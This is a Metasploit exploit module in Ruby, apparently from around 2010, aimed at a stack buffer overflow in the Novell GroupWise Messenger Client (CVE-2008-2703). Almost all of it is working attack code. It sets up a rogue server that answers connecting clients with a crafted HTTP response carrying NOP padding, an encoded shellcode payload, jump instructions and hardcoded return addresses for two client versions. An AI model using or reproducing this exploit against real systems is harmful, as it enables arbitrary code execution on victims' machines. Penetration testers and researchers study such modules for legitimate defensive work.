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## # $Id: groupwisemessenger_client.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Novell GroupWise Messenger Client Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client. By sending a specially crafted HTTP response, an attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9583 $', 'References' => [ [ 'CVE', '2008-2703' ], [ 'OSVDB', '46041' ], [ 'BID', '29602' ], [ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 750, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'DisableNops' =>'True', 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets'=> [ [ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ], [ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 2 2008', 'DefaultTarget'=> 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once date = Time.gm(2008,nil,nil,nil,nil,nil) rand_1 = rand_text_english(5) rand_2 = rand_text_english(4) rand_3 = rand_text_english(rand(8) + 1) rand_4 = rand_text_alpha_upper(8) rand_5 = rand_text_english(3) res ="HTTP/1.0 200\r\n" res << "Date: #{date}\r\n" res << "Pragma: no-cache\r\n" res << "Cache-Control: no-cache\r\n\r\n" res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0" res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive" res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember" res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts" res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders" res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast" res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory" res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave" res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService" res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000" res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0" res << "Full Name\0\20\0\0\0Client Name\0\n\0\13\0\0\0Given Name" res << "\0\n\0\0\0Client \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0" res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave" res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY" res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx" res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0" res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX" res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0" res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE" res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0" res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0" res << "HTTP/1.0 200\r\n" res << "Date: #{date}\r\n" res << "Pragma: no-cache\r\n" res << "Cache-Control: no-cache\r\n\r\n" res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0" res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0" res << make_nops(805 - payload.encoded.length) + payload.encoded res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length) print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...") client.put(res) handler(client) select(nil,nil,nil,2) service.close_client(client) end end |